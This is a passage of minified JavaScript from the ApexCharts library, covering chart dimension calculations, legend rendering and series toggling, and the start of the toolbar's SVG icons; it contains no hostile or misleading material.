n=i.config.yaxis[0].opposite&&i.globals.isBarHorizontal,l=function(t,n){s.yaxis.length>1&&function(t){return-1!==a.collapsedSeriesIndices.indexOf(t)}(n)||function(t){if(e.dCtx.timescaleLabels&&e.dCtx.timescaleLabels.length){var n=e.dCtx.timescaleLabels[0],l=e.dCtx.timescaleLabels[e.dCtx.timescaleLabels.length-1].position+o/1.75-e.dCtx.yAxisWidthRight,h=n.position-o/1.75+e.dCtx.yAxisWidthLeft,c="right"===i.config.legend.position&&e.dCtx.lgRect.width>0?e.dCtx.lgRect.width:0;l>a.svgWidth-a.translateX-c&&(a.skipLastTimelinelabel=!0),h<-(t.show&&!t.floating||"bar"!==s.chart.type&&"candlestick"!==s.chart.type&&"rangeBar"!==s.chart.type&&"boxPlot"!==s.chart.type?10:o/1.75)&&(a.skipFirstTimelinelabel=!0)}else"datetime"===r?e.dCtx.gridPad.right<o&&!a.rotateXLabels&&(a.skipLastTimelinelabel=!0):"datetime"!==r&&e.dCtx.gridPad.right<o/2-e.dCtx.yAxisWidthRight&&!a.rotateXLabels&&!i.config.xaxis.labels.trim&&("between"!==i.config.xaxis.tickPlacement||i.globals.isBarHorizontal)&&(e.dCtx.xPadRight=o/2+1)}(t)};s.yaxis.forEach((function(t,i){n?(e.dCtx.gridPad.left<o&&(e.dCtx.xPadLeft=o/2+1),e.dCtx.xPadRight=o/2+1):l(t,i)}))}}]),t}(),st=function(){function t(e){a(this,t),this.w=e.w,this.dCtx=e}return r(t,[{key:"getyAxisLabelsCoords",value:function(){var t=this,e=this.w,i=[],a=10,s=new B(this.dCtx.ctx);return e.config.yaxis.map((function(r,o){var n=e.globals.yAxisScale[o],l=0;if(!s.isYAxisHidden(o)&&r.labels.show&&void 0!==r.labels.minWidth&&(l=r.labels.minWidth),!s.isYAxisHidden(o)&&r.labels.show&&n.result.length){var h=e.globals.yLabelFormatters[o],c=n.niceMin===Number.MIN_VALUE?0:n.niceMin,d=String(c).length>String(n.niceMax).length?c:n.niceMax,g=h(d,{seriesIndex:o,dataPointIndex:-1,w:e}),u=g;if(void 0!==g&&0!==g.length||(g=d),e.globals.isBarHorizontal){a=0;var p=e.globals.labels.slice();g=h(g=x.getLargestStringFromArr(p),{seriesIndex:o,dataPointIndex:-1,w:e}),u=t.dCtx.dimHelpers.getLargestStringFromMultiArr(g,p)}var f=new m(t.dCtx.ctx),b="rotate(".concat(r.labels.rotate," 0 0)"),v=f.getTextRects(g,r.labels.style.fontSize,r.labels.style.fontFamily,b,!1),y=v;g!==u&&(y=f.getTextRects(u,r.labels.style.fontSize,r.labels.style.fontFamily,b,!1)),i.push({width:(l>y.width||l>v.width?l:y.width>v.width?y.width:v.width)+a,height:y.height>v.height?y.height:v.height})}else i.push({width:0,height:0})})),i}},{key:"getyAxisTitleCoords",value:function(){var t=this,e=this.w,i=[];return e.config.yaxis.map((function(e,a){if(e.show&&void 0!==e.title.text){var s=new m(t.dCtx.ctx),r="rotate(".concat(e.title.rotate," 0 0)"),o=s.getTextRects(e.title.text,e.title.style.fontSize,e.title.style.fontFamily,r,!1);i.push({width:o.width,height:o.height})}else i.push({width:0,height:0})})),i}},{key:"getTotalYAxisWidth",value:function(){var t=this.w,e=0,i=0,a=0,s=t.globals.yAxisScale.length>1?10:0,r=new B(this.dCtx.ctx),o=function(o,n){var l=t.config.yaxis[n].floating,h=0;o.width>0&&!l?(h=o.width+s,function(e){return t.globals.ignoreYAxisIndexes.indexOf(e)>-1}(n)&&(h=h-o.width-s)):h=l||r.isYAxisHidden(n)?0:5,t.config.yaxis[n].opposite?a+=h:i+=h,e+=h};return t.globals.yLabelsCoords.map((function(t,e){o(t,e)})),t.globals.yTitleCoords.map((function(t,e){o(t,e)})),t.globals.isBarHorizontal&&!t.config.yaxis[0].floating&&(e=t.globals.yLabelsCoords[0].width+t.globals.yTitleCoords[0].width+15),this.dCtx.yAxisWidthLeft=i,this.dCtx.yAxisWidthRight=a,e}}]),t}(),rt=function(){function t(e){a(this,t),this.w=e.w,this.dCtx=e}return r(t,[{key:"gridPadForColumnsInNumericAxis",value:function(t){var e=this.w;if(e.globals.noData||e.globals.allSeriesCollapsed)return 0;var i=function(t){return"bar"===t||"rangeBar"===t||"candlestick"===t||"boxPlot"===t},a=e.config.chart.type,s=0,r=i(a)?e.config.series.length:1;if(e.globals.comboBarCount>0&&(r=e.globals.comboBarCount),e.globals.collapsedSeries.forEach((function(t){i(t.type)&&(r-=1)})),e.config.chart.stacked&&(r=1),(i(a)||e.globals.comboBarCount>0)&&e.globals.isXNumeric&&!e.globals.isBarHorizontal&&r>0){var o,n,l=Math.abs(e.globals.initialMaxX-e.globals.initialMinX);l<=3&&(l=e.globals.dataPoints),o=l/t,e.globals.minXDiff&&e.globals.minXDiff/o>0&&(n=e.globals.minXDiff/o),n>t/2&&(n/=2),(s=n/r*parseInt(e.config.plotOptions.bar.columnWidth,10)/100)<1&&(s=1),s=s/(r>1?1:1.5)+5,e.globals.barPadForNumericAxis=s}return s}},{key:"gridPadFortitleSubtitle",value:function(){var t=this,e=this.w,i=e.globals,a=this.dCtx.isSparkline||!e.globals.axisCharts?0:10;["title","subtitle"].forEach((function(i){void 0!==e.config[i].text?a+=e.config[i].margin:a+=t.dCtx.isSparkline||!e.globals.axisCharts?0:5})),!e.config.legend.show||"bottom"!==e.config.legend.position||e.config.legend.floating||e.globals.axisCharts||(a+=10);var s=this.dCtx.dimHelpers.getTitleSubtitleCoords("title"),r=this.dCtx.dimHelpers.getTitleSubtitleCoords("subtitle");i.gridHeight=i.gridHeight-s.height-r.height-a,i.translateY=i.translateY+s.height+r.height+a}},{key:"setGridXPosForDualYAxis",value:function(t,e){var i=this.w,a=new B(this.dCtx.ctx);i.config.yaxis.map((function(s,r){-1!==i.globals.ignoreYAxisIndexes.indexOf(r)||s.floating||a.isYAxisHidden(r)||(s.opposite&&(i.globals.translateX=i.globals.translateX-(e[r].width+t[r].width)-parseInt(i.config.yaxis[r].labels.style.fontSize,10)/1.2-12),i.globals.translateX<2&&(i.globals.translateX=2))}))}}]),t}(),ot=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.lgRect={},this.yAxisWidth=0,this.yAxisWidthLeft=0,this.yAxisWidthRight=0,this.xAxisHeight=0,this.isSparkline=this.w.config.chart.sparkline.enabled,this.dimHelpers=new it(this),this.dimYAxis=new st(this),this.dimXAxis=new at(this),this.dimGrid=new rt(this),this.lgWidthForSideLegends=0,this.gridPad=this.w.config.grid.padding,this.xPadRight=0,this.xPadLeft=0}return r(t,[{key:"plotCoords",value:function(){var t=this,e=this.w,i=e.globals;this.lgRect=this.dimHelpers.getLegendsRect(),this.isSparkline&&(e.config.markers.discrete.length>0||e.config.markers.size>0)&&Object.entries(this.gridPad).forEach((function(e){var i=g(e,2),a=i[0],s=i[1];t.gridPad[a]=Math.max(s,t.w.globals.markers.largestSize/1.5)})),i.axisCharts?this.setDimensionsForAxisCharts():this.setDimensionsForNonAxisCharts(),this.dimGrid.gridPadFortitleSubtitle(),i.gridHeight=i.gridHeight-this.gridPad.top-this.gridPad.bottom,i.gridWidth=i.gridWidth-this.gridPad.left-this.gridPad.right-this.xPadRight-this.xPadLeft;var a=this.dimGrid.gridPadForColumnsInNumericAxis(i.gridWidth);i.gridWidth=i.gridWidth-2*a,i.translateX=i.translateX+this.gridPad.left+this.xPadLeft+(a>0?a+4:0),i.translateY=i.translateY+this.gridPad.top}},{key:"setDimensionsForAxisCharts",value:function(){var t=this,e=this.w,i=e.globals,a=this.dimYAxis.getyAxisLabelsCoords(),s=this.dimYAxis.getyAxisTitleCoords();e.globals.yLabelsCoords=[],e.globals.yTitleCoords=[],e.config.yaxis.map((function(t,i){e.globals.yLabelsCoords.push({width:a[i].width,index:i}),e.globals.yTitleCoords.push({width:s[i].width,index:i})})),this.yAxisWidth=this.dimYAxis.getTotalYAxisWidth();var r=this.dimXAxis.getxAxisLabelsCoords(),o=this.dimXAxis.getxAxisGroupLabelsCoords(),n=this.dimXAxis.getxAxisTitleCoords();this.conditionalChecksForAxisCoords(r,n,o),i.translateXAxisY=e.globals.rotateXLabels?this.xAxisHeight/8:-4,i.translateXAxisX=e.globals.rotateXLabels&&e.globals.isXNumeric&&e.config.xaxis.labels.rotate<=-45?-this.xAxisWidth/4:0,e.globals.isBarHorizontal&&(i.rotateXLabels=!1,i.translateXAxisY=parseInt(e.config.xaxis.labels.style.fontSize,10)/1.5*-1),i.translateXAxisY=i.translateXAxisY+e.config.xaxis.labels.offsetY,i.translateXAxisX=i.translateXAxisX+e.config.xaxis.labels.offsetX;var l=this.yAxisWidth,h=this.xAxisHeight;i.xAxisLabelsHeight=this.xAxisHeight-n.height,i.xAxisGroupLabelsHeight=i.xAxisLabelsHeight-r.height,i.xAxisLabelsWidth=this.xAxisWidth,i.xAxisHeight=this.xAxisHeight;var c=10;("radar"===e.config.chart.type||this.isSparkline)&&(l=0,h=i.goldenPadding),this.isSparkline&&(this.lgRect={height:0,width:0}),(this.isSparkline||"treemap"===e.config.chart.type)&&(l=0,h=0,c=0),this.isSparkline||this.dimXAxis.additionalPaddingXLabels(r);var d=function(){i.translateX=l,i.gridHeight=i.svgHeight-t.lgRect.height-h-(t.isSparkline||"treemap"===e.config.chart.type?0:e.globals.rotateXLabels?10:15),i.gridWidth=i.svgWidth-l};switch("top"===e.config.xaxis.position&&(c=i.xAxisHeight-e.config.xaxis.axisTicks.height-5),e.config.legend.position){case"bottom":i.translateY=c,d();break;case"top":i.translateY=this.lgRect.height+c,d();break;case"left":i.translateY=c,i.translateX=this.lgRect.width+l,i.gridHeight=i.svgHeight-h-12,i.gridWidth=i.svgWidth-this.lgRect.width-l;break;case"right":i.translateY=c,i.translateX=l,i.gridHeight=i.svgHeight-h-12,i.gridWidth=i.svgWidth-this.lgRect.width-l-5;break;default:throw new Error("Legend position not supported")}this.dimGrid.setGridXPosForDualYAxis(s,a),new q(this.ctx).setYAxisXPosition(a,s)}},{key:"setDimensionsForNonAxisCharts",value:function(){var t=this.w,e=t.globals,i=t.config,a=0;t.config.legend.show&&!t.config.legend.floating&&(a=20);var s="pie"===i.chart.type||"polarArea"===i.chart.type||"donut"===i.chart.type?"pie":"radialBar",r=i.plotOptions[s].offsetY,o=i.plotOptions[s].offsetX;if(!i.legend.show||i.legend.floating)return e.gridHeight=e.svgHeight-i.grid.padding.left+i.grid.padding.right,e.gridWidth=e.gridHeight,e.translateY=r,void(e.translateX=o+(e.svgWidth-e.gridWidth)/2);switch(i.legend.position){case"bottom":e.gridHeight=e.svgHeight-this.lgRect.height-e.goldenPadding,e.gridWidth=e.svgWidth,e.translateY=r-10,e.translateX=o+(e.svgWidth-e.gridWidth)/2;break;case"top":e.gridHeight=e.svgHeight-this.lgRect.height-e.goldenPadding,e.gridWidth=e.svgWidth,e.translateY=this.lgRect.height+r+10,e.translateX=o+(e.svgWidth-e.gridWidth)/2;break;case"left":e.gridWidth=e.svgWidth-this.lgRect.width-a,e.gridHeight="auto"!==i.chart.height?e.svgHeight:e.gridWidth,e.translateY=r,e.translateX=o+this.lgRect.width+a;break;case"right":e.gridWidth=e.svgWidth-this.lgRect.width-a-5,e.gridHeight="auto"!==i.chart.height?e.svgHeight:e.gridWidth,e.translateY=r,e.translateX=o+10;break;default:throw new Error("Legend position not supported")}}},{key:"conditionalChecksForAxisCoords",value:function(t,e,i){var a=this.w,s=a.globals.hasXaxisGroups?2:1,r=i.height+t.height+e.height,o=a.globals.isMultiLineX?1.2:a.globals.LINE_HEIGHT_RATIO,n=a.globals.rotateXLabels?22:10,l=a.globals.rotateXLabels&&"bottom"===a.config.legend.position?10:0;this.xAxisHeight=r*o+s*n+l,this.xAxisWidth=t.width,this.xAxisHeight-e.height>a.config.xaxis.labels.maxHeight&&(this.xAxisHeight=a.config.xaxis.labels.maxHeight),a.config.xaxis.labels.minHeight&&this.xAxisHeight<a.config.xaxis.labels.minHeight&&(this.xAxisHeight=a.config.xaxis.labels.minHeight),a.config.xaxis.floating&&(this.xAxisHeight=0);var h=0,c=0;a.config.yaxis.forEach((function(t){h+=t.labels.minWidth,c+=t.labels.maxWidth})),this.yAxisWidth<h&&(this.yAxisWidth=h),this.yAxisWidth>c&&(this.yAxisWidth=c)}}]),t}(),nt=function(){function t(e){a(this,t),this.w=e.w,this.lgCtx=e}return r(t,[{key:"getLegendStyles",value:function(){var t=document.createElement("style");t.setAttribute("type","text/css");var e=document.createTextNode("\t\n    \t\n      .apexcharts-legend {\t\n        display: flex;\t\n        overflow: auto;\t\n        padding: 0 10px;\t\n      }\t\n      .apexcharts-legend.apx-legend-position-bottom, .apexcharts-legend.apx-legend-position-top {\t\n        flex-wrap: wrap\t\n      }\t\n      .apexcharts-legend.apx-legend-position-right, .apexcharts-legend.apx-legend-position-left {\t\n        flex-direction: column;\t\n        bottom: 0;\t\n      }\t\n      .apexcharts-legend.apx-legend-position-bottom.apexcharts-align-left, .apexcharts-legend.apx-legend-position-top.apexcharts-align-left, .apexcharts-legend.apx-legend-position-right, .apexcharts-legend.apx-legend-position-left {\t\n        justify-content: flex-start;\t\n      }\t\n      .apexcharts-legend.apx-legend-position-bottom.apexcharts-align-center, .apexcharts-legend.apx-legend-position-top.apexcharts-align-center {\t\n        justify-content: center;  \t\n      }\t\n      .apexcharts-legend.apx-legend-position-bottom.apexcharts-align-right, .apexcharts-legend.apx-legend-position-top.apexcharts-align-right {\t\n        justify-content: flex-end;\t\n      }\t\n      .apexcharts-legend-series {\t\n        cursor: pointer;\t\n        line-height: normal;\t\n      }\t\n      .apexcharts-legend.apx-legend-position-bottom .apexcharts-legend-series, .apexcharts-legend.apx-legend-position-top .apexcharts-legend-series{\t\n        display: flex;\t\n        align-items: center;\t\n      }\t\n      .apexcharts-legend-text {\t\n        position: relative;\t\n        font-size: 14px;\t\n      }\t\n      .apexcharts-legend-text *, .apexcharts-legend-marker * {\t\n        pointer-events: none;\t\n      }\t\n      .apexcharts-legend-marker {\t\n        position: relative;\t\n        display: inline-block;\t\n        cursor: pointer;\t\n        margin-right: 3px;\t\n        border-style: solid;\n      }\t\n      \t\n      .apexcharts-legend.apexcharts-align-right .apexcharts-legend-series, .apexcharts-legend.apexcharts-align-left .apexcharts-legend-series{\t\n        display: inline-block;\t\n      }\t\n      .apexcharts-legend-series.apexcharts-no-click {\t\n        cursor: auto;\t\n      }\t\n      .apexcharts-legend .apexcharts-hidden-zero-series, .apexcharts-legend .apexcharts-hidden-null-series {\t\n        display: none !important;\t\n      }\t\n      .apexcharts-inactive-legend {\t\n        opacity: 0.45;\t\n      }");return t.appendChild(e),t}},{key:"getLegendBBox",value:function(){var t=this.w.globals.dom.baseEl.querySelector(".apexcharts-legend").getBoundingClientRect(),e=t.width;return{clwh:t.height,clww:e}}},{key:"appendToForeignObject",value:function(){this.w.globals.dom.elLegendForeign.appendChild(this.getLegendStyles())}},{key:"toggleDataSeries",value:function(t,e){var i=this,a=this.w;if(a.globals.axisCharts||"radialBar"===a.config.chart.type){a.globals.resized=!0;var s=null,r=null;if(a.globals.risingSeries=[],a.globals.axisCharts?(s=a.globals.dom.baseEl.querySelector(".apexcharts-series[data\\:realIndex='".concat(t,"']")),r=parseInt(s.getAttribute("data:realIndex"),10)):(s=a.globals.dom.baseEl.querySelector(".apexcharts-series[rel='".concat(t+1,"']")),r=parseInt(s.getAttribute("rel"),10)-1),e)[{cs:a.globals.collapsedSeries,csi:a.globals.collapsedSeriesIndices},{cs:a.globals.ancillaryCollapsedSeries,csi:a.globals.ancillaryCollapsedSeriesIndices}].forEach((function(t){i.riseCollapsedSeries(t.cs,t.csi,r)}));else this.hideSeries({seriesEl:s,realIndex:r})}else{var o=a.globals.dom.Paper.select(" .apexcharts-series[rel='".concat(t+1,"'] path")),n=a.config.chart.type;if("pie"===n||"polarArea"===n||"donut"===n){var l=a.config.plotOptions.pie.donut.labels;new m(this.lgCtx.ctx).pathMouseDown(o.members[0],null),this.lgCtx.ctx.pie.printDataLabelsInner(o.members[0].node,l)}o.fire("click")}}},{key:"hideSeries",value:function(t){var e=t.seriesEl,i=t.realIndex,a=this.w,s=x.clone(a.config.series);if(a.globals.axisCharts){var r=!1;if(a.config.yaxis[i]&&a.config.yaxis[i].show&&a.config.yaxis[i].showAlways&&(r=!0,a.globals.ancillaryCollapsedSeriesIndices.indexOf(i)<0&&(a.globals.ancillaryCollapsedSeries.push({index:i,data:s[i].data.slice(),type:e.parentNode.className.baseVal.split("-")[1]}),a.globals.ancillaryCollapsedSeriesIndices.push(i))),!r){a.globals.collapsedSeries.push({index:i,data:s[i].data.slice(),type:e.parentNode.className.baseVal.split("-")[1]}),a.globals.collapsedSeriesIndices.push(i);var o=a.globals.risingSeries.indexOf(i);a.globals.risingSeries.splice(o,1)}}else a.globals.collapsedSeries.push({index:i,data:s[i]}),a.globals.collapsedSeriesIndices.push(i);for(var n=e.childNodes,l=0;l<n.length;l++)n[l].classList.contains("apexcharts-series-markers-wrap")&&(n[l].classList.contains("apexcharts-hide")?n[l].classList.remove("apexcharts-hide"):n[l].classList.add("apexcharts-hide"));a.globals.allSeriesCollapsed=a.globals.collapsedSeries.length===a.config.series.length,s=this._getSeriesBasedOnCollapsedState(s),this.lgCtx.ctx.updateHelpers._updateSeries(s,a.config.chart.animations.dynamicAnimation.enabled)}},{key:"riseCollapsedSeries",value:function(t,e,i){var a=this.w,s=x.clone(a.config.series);if(t.length>0){for(var r=0;r<t.length;r++)t[r].index===i&&(a.globals.axisCharts?(s[i].data=t[r].data.slice(),t.splice(r,1),e.splice(r,1),a.globals.risingSeries.push(i)):(s[i]=t[r].data,t.splice(r,1),e.splice(r,1),a.globals.risingSeries.push(i)));s=this._getSeriesBasedOnCollapsedState(s),this.lgCtx.ctx.updateHelpers._updateSeries(s,a.config.chart.animations.dynamicAnimation.enabled)}}},{key:"_getSeriesBasedOnCollapsedState",value:function(t){var e=this.w;return e.globals.axisCharts?t.forEach((function(i,a){e.globals.collapsedSeriesIndices.indexOf(a)>-1&&(t[a].data=[])})):t.forEach((function(i,a){e.globals.collapsedSeriesIndices.indexOf(a)>-1&&(t[a]=0)})),t}}]),t}(),lt=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.onLegendClick=this.onLegendClick.bind(this),this.onLegendHovered=this.onLegendHovered.bind(this),this.isBarsDistributed="bar"===this.w.config.chart.type&&this.w.config.plotOptions.bar.distributed&&1===this.w.config.series.length,this.legendHelpers=new nt(this)}return r(t,[{key:"init",value:function(){var t=this.w,e=t.globals,i=t.config;if((i.legend.showForSingleSeries&&1===e.series.length||this.isBarsDistributed||e.series.length>1||!e.axisCharts)&&i.legend.show){for(;e.dom.elLegendWrap.firstChild;)e.dom.elLegendWrap.removeChild(e.dom.elLegendWrap.firstChild);this.drawLegends(),x.isIE11()?document.getElementsByTagName("head")[0].appendChild(this.legendHelpers.getLegendStyles()):this.legendHelpers.appendToForeignObject(),"bottom"===i.legend.position||"top"===i.legend.position?this.legendAlignHorizontal():"right"!==i.legend.position&&"left"!==i.legend.position||this.legendAlignVertical()}}},{key:"drawLegends",value:function(){var t=this,e=this.w,i=e.config.legend.fontFamily,a=e.globals.seriesNames,s=e.globals.colors.slice();if("heatmap"===e.config.chart.type){var r=e.config.plotOptions.heatmap.colorScale.ranges;a=r.map((function(t){return t.name?t.name:t.from+" - "+t.to})),s=r.map((function(t){return t.color}))}else this.isBarsDistributed&&(a=e.globals.labels.slice());e.config.legend.customLegendItems.length&&(a=e.config.legend.customLegendItems);for(var o=e.globals.legendFormatter,n=e.config.legend.inverseOrder,l=n?a.length-1:0;n?l>=0:l<=a.length-1;n?l--:l++){var h=o(a[l],{seriesIndex:l,w:e}),c=!1,d=!1;if(e.globals.collapsedSeries.length>0)for(var g=0;g<e.globals.collapsedSeries.length;g++)e.globals.collapsedSeries[g].index===l&&(c=!0);if(e.globals.ancillaryCollapsedSeriesIndices.length>0)for(var u=0;u<e.globals.ancillaryCollapsedSeriesIndices.length;u++)e.globals.ancillaryCollapsedSeriesIndices[u]===l&&(d=!0);var p=document.createElement("span");p.classList.add("apexcharts-legend-marker");var f=e.config.legend.markers.offsetX,b=e.config.legend.markers.offsetY,v=e.config.legend.markers.height,w=e.config.legend.markers.width,k=e.config.legend.markers.strokeWidth,A=e.config.legend.markers.strokeColor,S=e.config.legend.markers.radius,C=p.style;C.background=s[l],C.color=s[l],C.setProperty("background",s[l],"important"),e.config.legend.markers.fillColors&&e.config.legend.markers.fillColors[l]&&(C.background=e.config.legend.markers.fillColors[l]),void 0!==e.globals.seriesColors[l]&&(C.background=e.globals.seriesColors[l],C.color=e.globals.seriesColors[l]),C.height=Array.isArray(v)?parseFloat(v[l])+"px":parseFloat(v)+"px",C.width=Array.isArray(w)?parseFloat(w[l])+"px":parseFloat(w)+"px",C.left=(Array.isArray(f)?parseFloat(f[l]):parseFloat(f))+"px",C.top=(Array.isArray(b)?parseFloat(b[l]):parseFloat(b))+"px",C.borderWidth=Array.isArray(k)?k[l]:k,C.borderColor=Array.isArray(A)?A[l]:A,C.borderRadius=Array.isArray(S)?parseFloat(S[l])+"px":parseFloat(S)+"px",e.config.legend.markers.customHTML&&(Array.isArray(e.config.legend.markers.customHTML)?e.config.legend.markers.customHTML[l]&&(p.innerHTML=e.config.legend.markers.customHTML[l]()):p.innerHTML=e.config.legend.markers.customHTML()),m.setAttrs(p,{rel:l+1,"data:collapsed":c||d}),(c||d)&&p.classList.add("apexcharts-inactive-legend");var L=document.createElement("div"),P=document.createElement("span");P.classList.add("apexcharts-legend-text"),P.innerHTML=Array.isArray(h)?h.join(" "):h;var I=e.config.legend.labels.useSeriesColors?e.globals.colors[l]:e.config.legend.labels.colors;I||(I=e.config.chart.foreColor),P.style.color=I,P.style.fontSize=parseFloat(e.config.legend.fontSize)+"px",P.style.fontWeight=e.config.legend.fontWeight,P.style.fontFamily=i||e.config.chart.fontFamily,m.setAttrs(P,{rel:l+1,i:l,"data:default-text":encodeURIComponent(h),"data:collapsed":c||d}),L.appendChild(p),L.appendChild(P);var T=new y(this.ctx);if(!e.config.legend.showForZeroSeries)0===T.getSeriesTotalByIndex(l)&&T.seriesHaveSameValues(l)&&!T.isSeriesNull(l)&&-1===e.globals.collapsedSeriesIndices.indexOf(l)&&-1===e.globals.ancillaryCollapsedSeriesIndices.indexOf(l)&&L.classList.add("apexcharts-hidden-zero-series");e.config.legend.showForNullSeries||T.isSeriesNull(l)&&-1===e.globals.collapsedSeriesIndices.indexOf(l)&&-1===e.globals.ancillaryCollapsedSeriesIndices.indexOf(l)&&L.classList.add("apexcharts-hidden-null-series"),e.globals.dom.elLegendWrap.appendChild(L),e.globals.dom.elLegendWrap.classList.add("apexcharts-align-".concat(e.config.legend.horizontalAlign)),e.globals.dom.elLegendWrap.classList.add("apx-legend-position-"+e.config.legend.position),L.classList.add("apexcharts-legend-series"),L.style.margin="".concat(e.config.legend.itemMargin.vertical,"px ").concat(e.config.legend.itemMargin.horizontal,"px"),e.globals.dom.elLegendWrap.style.width=e.config.legend.width?e.config.legend.width+"px":"",e.globals.dom.elLegendWrap.style.height=e.config.legend.height?e.config.legend.height+"px":"",m.setAttrs(L,{rel:l+1,seriesName:x.escapeString(a[l]),"data:collapsed":c||d}),(c||d)&&L.classList.add("apexcharts-inactive-legend"),e.config.legend.onItemClick.toggleDataSeries||L.classList.add("apexcharts-no-click")}e.globals.dom.elWrap.addEventListener("click",t.onLegendClick,!0),e.config.legend.onItemHover.highlightDataSeries&&0===e.config.legend.customLegendItems.length&&(e.globals.dom.elWrap.addEventListener("mousemove",t.onLegendHovered,!0),e.globals.dom.elWrap.addEventListener("mouseout",t.onLegendHovered,!0))}},{key:"setLegendWrapXY",value:function(t,e){var i=this.w,a=i.globals.dom.elLegendWrap,s=a.getBoundingClientRect(),r=0,o=0;if("bottom"===i.config.legend.position)o+=i.globals.svgHeight-s.height/2;else if("top"===i.config.legend.position){var n=new ot(this.ctx),l=n.dimHelpers.getTitleSubtitleCoords("title").height,h=n.dimHelpers.getTitleSubtitleCoords("subtitle").height;o=o+(l>0?l-10:0)+(h>0?h-10:0)}a.style.position="absolute",r=r+t+i.config.legend.offsetX,o=o+e+i.config.legend.offsetY,a.style.left=r+"px",a.style.top=o+"px","bottom"===i.config.legend.position?(a.style.top="auto",a.style.bottom=5-i.config.legend.offsetY+"px"):"right"===i.config.legend.position&&(a.style.left="auto",a.style.right=25+i.config.legend.offsetX+"px");["width","height"].forEach((function(t){a.style[t]&&(a.style[t]=parseInt(i.config.legend[t],10)+"px")}))}},{key:"legendAlignHorizontal",value:function(){var t=this.w;t.globals.dom.elLegendWrap.style.right=0;var e=this.legendHelpers.getLegendBBox(),i=new ot(this.ctx),a=i.dimHelpers.getTitleSubtitleCoords("title"),s=i.dimHelpers.getTitleSubtitleCoords("subtitle"),r=0;"bottom"===t.config.legend.position?r=-e.clwh/1.8:"top"===t.config.legend.position&&(r=a.height+s.height+t.config.title.margin+t.config.subtitle.margin-10),this.setLegendWrapXY(20,r)}},{key:"legendAlignVertical",value:function(){var t=this.w,e=this.legendHelpers.getLegendBBox(),i=0;"left"===t.config.legend.position&&(i=20),"right"===t.config.legend.position&&(i=t.globals.svgWidth-e.clww-10),this.setLegendWrapXY(i,20)}},{key:"onLegendHovered",value:function(t){var e=this.w,i=t.target.classList.contains("apexcharts-legend-text")||t.target.classList.contains("apexcharts-legend-marker");if("heatmap"===e.config.chart.type||this.isBarsDistributed){if(i){var a=parseInt(t.target.getAttribute("rel"),10)-1;this.ctx.events.fireEvent("legendHover",[this.ctx,a,this.w]),new N(this.ctx).highlightRangeInSeries(t,t.target)}}else!t.target.classList.contains("apexcharts-inactive-legend")&&i&&new N(this.ctx).toggleSeriesOnHover(t,t.target)}},{key:"onLegendClick",value:function(t){var e=this.w;if(!e.config.legend.customLegendItems.length&&(t.target.classList.contains("apexcharts-legend-text")||t.target.classList.contains("apexcharts-legend-marker"))){var i=parseInt(t.target.getAttribute("rel"),10)-1,a="true"===t.target.getAttribute("data:collapsed"),s=this.w.config.chart.events.legendClick;"function"==typeof s&&s(this.ctx,i,this.w),this.ctx.events.fireEvent("legendClick",[this.ctx,i,this.w]);var r=this.w.config.legend.markers.onClick;"function"==typeof r&&t.target.classList.contains("apexcharts-legend-marker")&&(r(this.ctx,i,this.w),this.ctx.events.fireEvent("legendMarkerClick",[this.ctx,i,this.w])),"treemap"!==e.config.chart.type&&"heatmap"!==e.config.chart.type&&!this.isBarsDistributed&&e.config.legend.onItemClick.toggleDataSeries&&this.legendHelpers.toggleDataSeries(i,a)}}}]),t}(),ht=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w;var i=this.w;this.ev=this.w.config.chart.events,this.selectedClass="apexcharts-selected",this.localeValues=this.w.globals.locale.toolbar,this.minX=i.globals.minX,this.maxX=i.globals.maxX}return r(t,[{key:"createToolbar",value:function(){var t=this,e=this.w,i=function(){return document.createElement("div")},a=i();if(a.setAttribute("class","apexcharts-toolbar"),a.style.top=e.config.chart.toolbar.offsetY+"px",a.style.right=3-e.config.chart.toolbar.offsetX+"px",e.globals.dom.elWrap.appendChild(a),this.elZoom=i(),this.elZoomIn=i(),this.elZoomOut=i(),this.elPan=i(),this.elSelection=i(),this.elZoomReset=i(),this.elMenuIcon=i(),this.elMenu=i(),this.elCustomIcons=[],this.t=e.config.chart.toolbar.tools,Array.isArray(this.t.customIcons))for(var s=0;s<this.t.customIcons.length;s++)this.elCustomIcons.push(i());var r=[],o=function(i,a,s){var o=i.toLowerCase();t.t[o]&&e.config.chart.zoom.enabled&&r.push({el:a,icon:"string"==typeof t.t[o]?t.t[o]:s,title:t.localeValues[i],class:"apexcharts-".concat(o,"-icon")})};o("zoomIn",this.elZoomIn,'<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24">\n    <path d="M0 0h24v24H0z" fill="none"/>\n    <path d="M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4V7zm-1-5C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8z"/>\n</svg>\n'),o("zoomOut",this.elZoomOut,'<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24">\n    <path d="M0 0h24v24H0z" fill="none"/>\n    <path d="M7 11v2h10v-2H7zm5-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8z"/>\n</svg>\n');var n=function(i){t.t[i]&&e.config.chart[i].enabled&&r.push({el:"zoom"===i?t.elZoom:t.elSelection,icon:"string"==typeof t.t[i]?t.t[i]:"zoom"===i?'<svg xmlns="http://www.w3.org/2000/svg" fill="#000000" height="24" viewBox="0 0 24 24" width="24">\n    <path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"/>\n    <path d="M0 0h24v24H0V0z" fill="none"/>\n    <path d="M12 10h-2v2H9v-2H7V9h2V7h1v2h2v1z"/>\n</svg>':'<svg fill="#6E8192" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg">\n    <path d="M0 0h24v24H0z" fill="none"/>\n    <path d="M3 5h2V3c-1.1 0-2 .9-2 2zm0 8h2v-2H3v2zm4 